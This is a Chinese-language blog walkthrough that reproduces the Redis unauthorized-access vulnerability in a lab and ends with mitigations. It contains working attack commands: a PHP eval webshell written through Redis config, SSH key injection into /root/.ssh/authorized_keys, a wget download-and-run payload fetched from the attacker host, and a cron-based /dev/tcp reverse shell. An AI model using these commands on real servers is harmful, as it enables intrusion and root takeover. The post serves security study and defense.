redis未授权访问漏洞


一、概述

1.1 漏洞简介

Redis未授权访问漏洞是指Redis服务在默认配置下,绑定在0.0.0.0:6379端口,且没有设置密码认证(默认为空)和防火墙策略的情况下,导致任意用户可以未授权访问Redis服务以及读取Redis的数据。

1.2 利用条件

  • Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

  • 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务。

1.3 漏洞影响版本

Redis 2.x,3.x,4.x,5.x

1.4 漏洞危害

  • 数据泄露:攻击者可以访问Redis中的所有数据,包括敏感信息。
  • 数据篡改:攻击者可以修改或删除Redis中的数据。黑客可以恶意执行flushall来清空所有数据。
  • 系统权限获取:攻击者可以利用Redis的config命令进行写文件操作,例如将SSH公钥写入服务器的/root/.ssh/authorized_keys文件中,从而使用对应私钥通过SSH登录目标服务器。
  • 执行恶意代码:攻击者可以通过eval命令执行Lua脚本,或者通过数据备份功能往磁盘写入后门程序。

1.5 利用方法

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

二、漏洞复现

2.1 漏洞环境搭建及漏洞测试(redis-4.0.10 复现失败)

靶机:centos7 192.168.52.4

攻击机:kali 192.168.52.6

2.2.1 靶机安装redis服务器(redis-server)

1)下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

2)安装redis-server

解压,进入源码目录,然后编译(make、make install)

  • 解压
tar zxf redis-4.0.10.tar.gz 

命令详解:

  • z:这个选项告诉 tar 命令使用 gzip 来解压缩文件。gzip 是一种流行的压缩工具,通常用于压缩单个文件。
  • x:这个选项表示解压缩(extract),即从压缩文件中提取文件。
  • f:这个选项后面跟着的是要操作的文件名。在这个例子中,文件名是 redis-4.0.10.tar.gz
  • make编译
cd redis-4.0.10
make

大战bug-「源码安装redis时make报错」

执行make命令报错:

分析判断是没有安装gcc的原因:

yum install gcc

安装后重新执行make

还是报错。

添加如下参数,继续执行make

make MALLOC=libc
  • make install安装
make install

3)启动服务(redis-server)

redis-server

查看服务是否启动成功:

ps -ef | grep redis
或
ps aux | grep redis
或
netstat -pantu | grep redis
  • -e:表示显示所有进程。
  • -f:表示显示完整的格式,包括用户、PID(进程ID)、父进程ID、启动时间、CPU和内存使用情况等详细信息。

2.2.2 攻击机安装redis客户端(redis-cli)

1)下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

2)安装

解压,编译

tar zxf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install

3)测试redis客户端是否安装完成

2.2.3 漏洞测试

测试目标靶机是否存在未授权访问,下图说明靶机不存在未授权访问:

截屏2025-01-08 13.51.28

redis-4.0.10 复现失败。 ✅

Redis在3.2.0之后增加了一个保护模式,默认还是无密码,但是限制了只有本地(回环接口)才能访问。

2.2.4 卸载redis

停止服务,ctrl+c即可。

find / -name "*redis*" -exec rm -rf {} \;

2.2 漏洞环境搭建及漏洞测试(redis-2.8.17 复现成功)

2.2.1 靶机安装redis-2.8.17

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxf redis-2.8.17.tar.gz 
cd redis-2.8.17
make
make install

执行失败。

需要cd到src目录中执行

cd src
./redis-server
截屏2025-01-08 14.15.32

访问192.168.5.4访问不了。

访问127.0.0.1 才可以访问。

2.2.2 kali安装redis-2.8.17-cli

可以按照如下过程安装,也可以使用redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxf redis-2.8.17.tar.gz 
cd redis-2.8.17
make
make install
截屏2025-01-08 14.30.41

在kali上安装的时候没有执行卸载动作,安装完成之后版本自动变更了。

其实用原来的4.0.10版本也可以。

无法访问,但是能ping通192.168.52.4。

2.2.3 关闭centos7的防火墙

查看防火墙状态:

systemctl status firewalld

停止防火墙:

sudo systemctl stop firewalld

关闭防火墙之后访问测试成功:

用4.0.10的客户端也能访问,没必要重新安装2.8.17版本

2.2.4 漏洞测试

1)未授权访问测试

测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露。

2.2.5 启动apache web服务

为了复现写入webshell的利用方法,安装启动apache web服务。

1)安装 Apache

CentOS 7 使用 yum 作为包管理器。要安装 Apache HTTP 服务器,运行以下命令:

sudo yum install httpd

2)启动 Apache 服务

安装完成后,你可以使用 systemctl 命令来启动 Apache 服务:

sudo systemctl start httpd

3)访问测试

echo "<?php phpinfo(); ?>" > /home/www/index.php

访问之后发现php没有被解析。

需要安装并配置php解析。

2.2.6 安装PHP

1) 安装 PHP

CentOS 7 默认使用 yum 作为包管理器。要安装 PHP,运行以下命令:

sudo yum install php php-mysqlnd

这里 php-mysqlnd 是 MySQL 的 PHP 扩展,如果你的 PHP 脚本需要与 MySQL 数据库交互,这个扩展是必要的。

2)配置 Apache 以处理 PHP

不需要特别的配置,重启一下http服务即可。

systemctl restart httpd

2.3 漏洞利用

2.3.1 写webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限。

  • 写入webshell
config set dir /var/www/html
config set dbfilename sxkhack.php
set webshell "\r\n<?php eval($_POST['sxk']);?>\r\n"
save

注意:”\r\n”是回车换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。

getshell

成功getshell。

2.3.2 通过写入SSH公钥实现SSH登录

1)ssh密钥登录的原理

通过ssh可以远程登录另外一台电脑。

ssh登录有两种一个是密码登录,一个是密钥登录。公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:

  1. 客户端生成RSA公钥和私钥
  2. 客户端将自己的公钥存放到服务器
  3. 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
  4. 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
  5. 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

2)利用前提

  • 当redis以root身份运行。

  • 靶机redis链接未授权,在攻击机上能用redis-cli连上。

  • 存在/root/.ssh目录

1)如果不存在我们可以通过一句话木马连接蚁剑创建目录,但是webshell获取的权限比较低,没有权限访问/root目录。

2)如果是自己搭建的靶场就自行创建一个。

3)此外,有种说法是靶机被使用ssh root@ip登录过就会生成.ssh文件,但是我在centos7上测试不是这样的,还是没有.ssh目录,如果是使用用户名密码认证登录的方式应该不会有.ssh的目录。正确的说法应该是目标机器配置过通过ssh公私密钥登录之后才会存在.ssh文件,具体操作见本站《ssh服务公私钥认证》一文。

3)原理

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值可以随意设置,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

4)kali生成公私钥对(如果本身就有可以不生成)

如果没有可以用如下方法生成一对:

ssh-keygen -t rsa

ssh-keygen 是一个用于生成 SSH 密钥对的命令行工具。当你运行 ssh-keygen -t rsa 命令时,它会创建一对新的 RSA 密钥,包括一个私钥和一个公钥。以下是该命令的详细解释和使用步骤:

命令解释

  • ssh-keygen:这是生成、管理和转换认证密钥的命令。
  • -t rsa:这个选项指定了密钥的类型。在这里,rsa 表示使用 RSA 加密算法生成密钥对。

5)将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n") > key.txt

echo的-e参数:

-e 参数是一个常用的选项,它允许 echo 命令解释一些特殊的字符和转义序列。这些转义序列可以控制文本的格式,如换行、制表符、字符串的开始和结束等。

以下是一些与 -e 参数一起使用时有效的转义序列:

  • \n:换行符,用于在输出中创建一个新行。
  • \t:制表符(水平制表符),用于在输出中创建一个水平制表。
echo -e "Hello,\nWorld!"

这个命令将在两行输出 “Hello,” 和 “World!”。

(前后用\n换行,避免和redis里其他缓存数据混合)。

6)把key.txt文件内容写入redis缓冲

cat /root/key.txt |./redis-cli -h 192.168.52.4 -x set pub

在 Redis 2.8.17 版本中,redis-cli 工具的 -x 参数用于执行一个 Redis 命令。

7)设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys

redis-cli -h 192.168.52.4
config set dir /root/.ssh
config set dbfilename authorized_keys
save
config set dir /root/.ssh
  • 这个命令用于设置 Redis 的配置参数。在这里,它试图将 Redis 的持久化文件目录设置为 /root/.ssh
config set dbfilename authorized_keys
  • 这个命令也是用于设置 Redis 的配置参数。在这里,它试图将 Redis 数据库的持久化文件名设置为 authorized_keys

在 Redis 中,config set 命令用于在运行时动态设置配置参数。以下是 dirdbfilename 参数的作用:

  1. config set dir /path/to/directory
    • 这个命令用于设置 Redis 数据库文件的存储目录。dir 参数指定了持久化文件(如 RDB 快照)的保存路径。默认情况下,Redis 会将数据文件保存在当前工作目录下,但为了数据安全,建议显式设置一个专门的目录来存储这些文件。通过修改 dir 参数,你可以指定一个不同的路径来存放这些持久化文件,以避免误删除或数据丢失的风险。
  2. config set dbfilename filename
    • 这个命令用于设置 Redis 数据库的持久化文件名。dbfilename 参数指定了 RDB 快照文件的名称。默认情况下,这个文件名是 dump.rdb。通过修改 dbfilename 参数,你可以为 RDB 快照指定一个自定义的文件名。这在管理多个 Redis 实例或需要区分不同数据库快照时非常有用。

这里先将攻击者的公钥保存到缓冲区,然后设置数据库文件,SAVE 命令用于创建当前数据库的快照并保存到磁盘上的 RDB 文件,在这里就是把缓冲区中的数据刷到了/root/.ssh/authorized_keys中。

靶机的ssh公钥已经被篡改

8)成功获得root权限的ssh shell

ssh -i ~/.ssh/id_rsa root@192.168.52.4

-i ~/.ssh/id_rsa:这个选项指定了用于认证的私钥文件。-i 代表 identity file,即身份文件,~/.ssh/id_rsa 是私钥文件的路径。

ssh 192.168.52.4
ssh root@192.168.52.4

成功获得root权限的ssh shell。

真实的root用户登录时需要输入密码认证,因为此时服务器的ssh公钥已经被篡改为攻击者的公钥了。

2.3.3 反弹shell上线metepreter(失败)

  • msf构建payload,参数设置情况如下
wget -qO sbWGQnnZ --no-check-certificate http://192.168.52.6:8080/YrdRCeRQ; chmod +x sbWGQnnZ; ./sbWGQnnZ& disown

但是写入的数据有乱码,无法执行。

暂时想不到什么比较好的方法。

2.3.4 普通反弹普通shell

redis-cli -h 192.168.52.4
config set dir /var/spool/cron
config set dbfilename root
set hahaha "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.52.4/8888 0>&1 \n\n"
save
截屏2025-01-08 17.26.21

服务器原来cron目录下没有root文件的,现在有了,并且内容是redis的缓存,有脏数据。

如果想清除一下缓存中之前写入的脏数据:

可以执行FLUSHDB或FLUSHALL:

FLUSHDB:这个命令会删除当前数据库中的所有键。如果在 Redis 配置中启用了 save 选项,那么在执行 FLUSHDB 命令后,Redis 会异步地将这个状态保存到磁盘。

FLUSHALL:这个命令会删除所有数据库中的所有键。与 FLUSHDB 类似,如果启用了持久化,这个命令也会触发保存操作。

执行之后可以save一下保存更改。

这里的定时任务会每分钟执行一次。

攻击端kali监听8888端口,成功获取到root权限的shell

修复

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。

防范措施:

  • 设置密码认证:在Redis配置文件redis.conf中设置强密码,并启用认证功能。
  • 限制访问:通过防火墙规则限制Redis端口的访问,只允许信任的IP地址访问。
  • 绑定本地接口:将Redis绑定在本地接口(如127.0.0.1),避免暴露在公网上。
  • 定期更新:及时更新Redis到最新版本,以修复已知的安全漏洞。

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录